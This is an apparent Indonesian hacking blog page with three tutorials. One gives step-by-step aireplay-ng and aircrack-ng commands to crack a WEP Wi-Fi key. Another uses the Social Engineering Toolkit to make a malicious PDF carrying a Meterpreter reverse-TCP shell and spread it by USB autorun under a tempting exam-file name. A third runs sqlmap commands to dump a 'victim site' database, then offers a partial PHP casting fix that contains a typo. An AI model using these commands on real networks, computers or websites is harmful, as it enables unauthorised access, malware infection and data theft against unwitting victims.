Setelah Anda mengetikkan perintah terakhir, layar airodump akan berubah dan mulai menunjukkan komputer Anda paket pertemuan. Anda juga akan melihat pos bertanda "IV" dengan nomor di bawahnya. Ini adalah singkatan untuk "Inisialisasi Vektor" tetapi secara umum semua ini berarti "paket dari info yang berisi karakter dari password." Setelah Anda mendapatkan minimal 5.000 IV ini, Anda dapat mencoba untuk memecahkan password. Aku sudah retak tepat beberapa di 5.000 dan yang lainnya telah mengambil alih 60.000. Ini tergantung pada berapa lama dan sulit mereka membuat password. Lebih sulit adalah paket password semakin Anda akan perlu untuk memecahkannya.

4. Cracking password WEP

Sekarang tinggalkan jendela ini Konsole dan berjalan dan membuka jendela Konsole 2.
Dalam tipe window:

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 ath0

Ini akan mengirimkan beberapa perintah untuk router bahwa pada dasarnya itu adalah untuk mengaitkan komputer Anda meskipun Anda tidak resmi berhubungan dengan password. Jika perintah ini berhasil, Anda akan melihat sekitar 4 baris mencetak teks keluar dengan yang terakhir mengatakan sesuatu yang mirip dengan "Asosiasi :-) Sukses"
Jika ini terjadi, maka baik! Anda hampir ada.

Sekarang ketik:

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 ath0


Ini akan menghasilkan sekelompok teks dan kemudian Anda akan melihat baris mana komputer Anda adalah mengumpulkan segudang paket dan menunggu di ARP dan ACK. Jangan khawatir tentang apa artinya ini ... hanya tahu bahwa ini adalah tiket makan Anda. Sekarang Anda hanya duduk dan menunggu. Setelah komputer Anda akhirnya mengumpulkan sebuah permintaan ARP, ia akan mengirim kembali ke router dan mulai menghasilkan ratusan ARP dan ACK per detik. Kadang-kadang ini mulai terjadi dalam hitungan detik ... kadang-kadang Anda harus menunggu hingga beberapa menit. Hanya bersabar. Ketika akhirnya tidak terjadi, beralih kembali ke jendela pertama Konsole anda dan anda akan melihat nomor di bawah IV mulai meningkat pesat. Ini hebat! Ini berarti Anda hampir selesai! Bila jumlah ini mencapai SEDIKITNYA 5.000 maka Anda dapat mulai membobol password anda. Mungkin akan memakan waktu lebih dari ini, tetapi saya selalu memulai sandi saya cracking di 5.000 hanya jika mereka memiliki password yang benar-benar lemah.

Sekarang anda perlu membuka 3 dan jendela Konsole akhir. Hal ini akan berada di tempat kita sebenarnya crack password.
Sekarang ketik:

aircrack-ng -b (bssid) (filename)-01.cap


Ingat nama file yang dibuat sebelumnya? Tambang adalah "Ben". Jangan menempatkan spasi di antara itu dan-01.cap sini. Jenis sebagai Anda melihatnya. Jadi bagi saya, saya akan ketik wepkey-01.cap
Setelah Anda melakukan ini, Anda akan melihat api aircrack dan mulai crack password. biasanya Anda harus menunggu lebih seperti 10.000 hingga 20.000 IV sebelum akan retak. Jika hal ini terjadi, aircrack akan menguji apa yang Anda miliki sejauh ini dan kemudian akan mengatakan sesuatu seperti "tidak cukup IV Coba lagi di 10.000.."
JANGAN LAKUKAN APA PUN! Ini akan tetap berjalan ... itu hanya membiarkan Anda tahu bahwa itu ada di jeda sampai lebih IV berkumpul. Setelah Anda melewati tanda 10.000 maka secara otomatis akan menjalankan lagi dan mencoba untuk memecahkannya. Jika ini gagal maka akan mengatakan "tidak cukup IV Coba lagi di 15.000.." dan seterusnya sampai akhirnya mendapatkannya.

Jika Anda melakukan semuanya dengan benar sampai titik ini, sebelum terlalu lama Anda akan memiliki password! sekarang jika password tampak konyol, khawatir dont, itu akan tetap bekerja. beberapa password disimpan dalam format ASCII, dalam hal ini, aircrack akan menunjukkan kepada Anda apa karakter mereka ketik in untuk password mereka. Kadang-kadang, meskipun, password tersebut disimpan dalam format HEX dalam hal komputer akan menampilkan enkripsi HEX dari password. Tidak masalah dengan cara baik, karena Anda dapat mengetik di salah satu dan akan menghubungkan Anda ke jaringan.

Perhatikan, bahwa password akan selalu ditampilkan di aircrack dengan tanda titik setelah setiap 2 karakter. Jadi misalnya jika password adalah "rahasia", akan ditampilkan sebagai: 

se:cr:et


Hal ini jelas akan menjadi format ASCII. Jika itu adalah HEX sandi terenkripsi itu adalah sesuatu seperti "0FKW9427VF" maka akan tetap ditampilkan sebagai:

0F:KW:94:27:VF



Hanya menghilangkan tanda titik dua dari password, boot kembali ke sistem operasi apa pun yang Anda gunakan, mencoba untuk terhubung ke jaringan dan ketik password tanpa titik dua dan presto! Anda berada di!

Ini mungkin tampak seperti banyak berurusan dengan jika Anda belum pernah melakukannya, tapi setelah mencoba beberapa berhasil, Anda akan menjadi sangat cepat dengan itu. Jika saya di dekat sebuah router WEP dienkripsi dengan sinyal yang baik, saya sering bisa memecahkan sandi hanya dalam beberapa menit.

Saya tidak bertanggung jawab atas apa yang Anda lakukan dengan informasi ini. Setiap kegiatan / berbahaya ilegal yang anda lakukan, jatuh sepenuhnya pada Anda karena ... teknis ... ini hanya bagi Anda untuk menguji keamanan jaringan Anda sendiri.

Hacking Windows Dengan BackTrack SET & USB

ET (Social Engineering Toolkit)
O.S yang digunakan : Backtrack 5
Victim O.S : Windows XP SP3 (fungsi autorun = on)
Hacking Windows Dengan BackTrack SET & USB
Seperti yang kita ketahui bahwa akhir-akhir ini USB benar-benar amat sangat populer penggunaannya di semua kalangan masyarakat…
Ketika saya masih nge-kost, kadang saya mendengar tetangga sebelah saya bilang sama tetangga sebelahnya lagi “Eh, gue copy dong lagu yang kemaren itu…nih USB nya, ntar kalo udah beres copy lo kasih tau gue aja ya“.
Sebenarnya apakah mungkin melakukan serangan terhadap komputer lainnya hanya dengan menggunakan USB?? jawabannya kita lihat langkah-langkah berikut dibawah ini :
Persiapan :
1. SET
2. O.S(saya pake backtrack 5 yang udah include di dalemnya semua toolsnya)

Keterangan :

Tulisan Berwarna Merah = command line
Langkah-langkahnya :
1. Buka console backtrack (CTRL+ALT+T) lalu masuk ke folder /pentest/exploits/set.
cd /pentest/exploits/set
2. Jalankan Social Engineering Toolkit dengan perintah ./set.

3. Pilih Nomor 3 “Infectious File Generator” lalu pilih nomor 1 “File Format Exploit“, dan selanjutnya masukkan IP address penyerang(komputer kita)

4. Pilih format exploit yang hendak digunakan…disini saya gunakan menggunakan “Adobe PDF Embedded EXE social engineering“.
5. Langkah berikutnya yaitu memilih file PDF yang akan digunakan untuk menyerang.
Kalau kawan-kawan punya file PDF sendiri, itu jauh lebih bagus soalnya begitu si korban buka dia ngga terlalu curiga, jadi disini kita pilih nomor 1.
6. Langkah berikutnya adalah memilih payload atau apa yang ingin kita dapat dari korban jika ia meng-klik exploit yang kita buat. Disini saya memilih nomor 2 “Windows Meterpreter Reverse_TCP shell
7. Berikutnya adalah melakukan setting connect back, maksudnya adalah ketika exploit berhasil dijalankan, pada port berapakah kita akan menangkap koneksi tersebut? disini saya gunakan port 80(kenapa harus port 80? nanti lihat di sumber aja ya)

8. Ketika muncul pertanyaan “Do you want to create a listener right now? [yes|no]” pilih YES.
9. Semua file yang berhasil di-generate oleh SET tersimpan pada folder /pentest/exploits/set/autorun, tetapi nama file tersebut agak mencurigakan & kurang menarik sehingga lebih baik jika kita rubah terlebih dahulu penamaan file tersebut.
masuk ke folder autorun :
cd /pentest/exploits/set/autorun
10. Lakukan perintah ini
pico autorun.inf
11. Didalam file autorun.inf, rubah template.pdf menjadi nama file yang menarik agar korban mau membuka file tersebut. Berikut adalah isi autorun.inf yang saya buat :
[autorun]
open=Soal_UAS_2011_Aljabar.pdf
icon=autorun.ico

Lalu tekan CTRL + O untuk melakukan SAVE dan CTRL + X untuk keluar.
12. Langkah selanjutnya adalah menamai template.pdf menjadi nama yang telah kita definisikan pada autorun.inf dengan perintah mv.
mv template.pdf Soal_UAS_2011_Aljabar.pdf
13. Selesai sudah, selanjutnya tinggal meng-copy kan semua file yang ada dalam folder autorun tersebut ke dalam USB anda.
14. Ketika victim mencolokkan USB dan autorun komputernya dalam keadaan aktif, maka ia akan otomatis membuka file PDF yang tadi telah kita buat.
15. Ketika ia meng-klik OK untuk setiap alert yang muncul, maka :


Sukses!
FAQ :
Q : Lalu bagaimana kalau ternyata autorun komputer victim dalam keadaan dimatikan??
A : Sifat manusia itu biasanya ingin tahu & penasaran, pasti segala cara akan ia lakukan agar PDF tersebut terbuka apalagi setelah tahu bahwa Title PDF nya memang penting & menarik untuknya.
Penanggulangan :
1. Ketika muncul suatu alert atau hal-hal yang tidak wajar saat membuka suatu file dengan ekstensi tertentu, lebih baik batalkan/cancel saja jangan diteruskan.
2. Matikan autorun / autoplay

Pentesting Database Dengan SQL Injection & Cara Menanganinya

Pertama - tama, apa itu SQL injection? Kalau menurut gue, SQL injection adalah salah satu teknik hacking pada sebuah website dinamis  menggunakan metode GET atau POST dengan memanfaatkan kelemahan yang disebabkan karena kelalaian sang programmer atau dari server itu sendiri.

1. How to Attack a DynamicWeb with sqlmap.

Oke langsung ke step pertama. Untuk melakukan serangan ini, dibutuhkan alat bernama sqlmap. Kalau anda pengguna OS BackTrack, tool ini sudah ada alias siap pakai. Sedangkan untuk anda pengguna Ubuntu biasa, untuk mendapatkan alat ini cukup menambahkan repository backtrack dan install melalui metode apt-get install. Cara menginstall sqlmap pada ubuntu gaakan gue bahas, jadi monggo googling. Soalnya kalo dibahas disini topik bisa melenceng. Selain sqlmap, yang kita butuhkan adalah target dari rencana penyerangan ini. Sudah ada kan targetnya? Oke kita lanjut ke step berikutnya.

Catatan: Sangat disarankan kalau target dari serangan ini adalah web anda sendiri, anda akan tahu alasannya setelah anda mencoba sendiri metode serangan ini pada web anda.

Step kedua. Run sqlmap, lalu yang pertama kali dilakukan adalah fetch banner (mysql) dengan menggunakan perintah berikut:


python sqlmap.py -u http://situskorban/displaydata.php?id=1 --banner --random-agent --threads 10
 melakukan fetch banner dari suatu DBMS itu sangat penting, karena dengan melakukan injeksi pancingan ke web, sqlmap akan mendapatkan route map dari injeksi website tersebut, sehingga serangan injeksi selanjutnya akan lebih mudah bagi sqlmap. Dan jika terdapat pesan yang menyatakan bahwa parameter 'id' tidak injectable & tidak vulnerable, maka yang harus anda pikirkan adalah cara lain untuk menghajar web target. Dan jika parameter 'id' injectable & vulnerable, maka langkah selanjutnya adalah melihat user dan database yang sedang digunakan dengan flag --current-user dan --current-db
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 --current-user --current-db
Selanjutnya, kita akan melihat daftar database yang dapat dihandle oleh user tadi dengan flag --dbs. Kita dapat melihat database apa saja yang dapat kita serang.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 --dbs
Nah udah dapet kan nama database nya? Nah langkah selanjutnya adalah melihat tabel dari database tersebut dengan flag --tables. Kita akan mengetahui tabel mana yang akan kita intip isinya.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 -D nama_database --tables
Setelah kita dapatkan tabel yang akan kita intip, langkah selanjutnya adalah melihat kolom apa saja yang terdapat pada tabel tersebut dengan flag --columns. Kita akan menentukan kolom mana yang akan kita lihat isinya.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 -D nama_database -T nama_tabel --columns
Udah tau kolom mana yang akan dilihat isinya? Ayo kita dump dengan flag --dump.
python sqlmap.py -u http://situskorban/displaydata.php?id=1 --random-agent --threads 10 -D nama_database -T nama_tabel -C nama_kolom1, nama_kolom2 --dump
Dan voila, lihat apa yang terjadi. Hasil dump dari database bisa anda lihat juga di file berekstensi .csv di folder log web tersebut.

2. How to Avoid SQL Injection Attack.

Sekarang, gue mau menjelaskan salah satu cara untuk menghindari serangan SQL injection ini.

Kita tahu kan kalau website yang dijadikan target dari serangan ini adalah website yang memiliki url berparameter, contohnya: http://situskorban/displaydata.php?id=1. disini yang dimaksud sebagai parameter adalah 'id' dan '1' itu adalah angka yang menunjuk pada sebuah data yang sedang ditampilkan.

Seorang hacker akan menyerang dengan cara menyisipkan query pada url website target.

Bagaimana cara menghilangkan query yang disisipkan pada parameter url?

Pada url http://situskorban/displaydata.php?id=1 dan pada script displaydata.php ini biasanya terdapat syntax seperti ini:

1
$id = $_GET['id'];
Nah untuk menghilangkan query yang disisipkan pada parameter 'id', kita dapat menggunakan teknik "casting". Dengan mengcasting nilai parameter menjadi integer / bilangan bulat.
Caranya dengan merubah syntax tadi menjadi:

1
$id = (int) $_GET['id];
Akan menjadi lebih baik jika kita rubah menjadi absolute integer. jadi syntaxnya menjadi seperti ini:

1
$id = abs((int) $_GET['id']);
Fungsi abs() ini sangat berguna untuk menangkal serangan SQL injection yang memanfaatkan negative number.
Teknik diatas juga dapat diterapkan pada metode $_POST pada form.

Oh iya, teknik ini juga udah gue coba, dan hasilnya memuaskan. Awalnya, web gue dapat dengan mudahnya diserang, tapi setelah menerapkan teknik ini, web gue ga bisa ditembus dengan cara - cara yang tadi gue jelasin. Ini buktinya: 

Etiam placerat

Total Pageviews

 

Recent Post

Powered By Blogger

Pages - Menu

Datos personales

My photo
Ridwan: Anak Keluarga Besar Badan Intelijen Negara (BIN) dan Korwil Jak- Sel FKPPI. Putra Purn TNI-AD Intelijen Kostard. Dan Sering ikut lomba " id sirtii kominfo".

Followers

Nav menu

- Copyright © Belajar Backtrack dan Ubuntu - Hatsune Miku - Powered by Blogger - Designed by Johanes Djogan -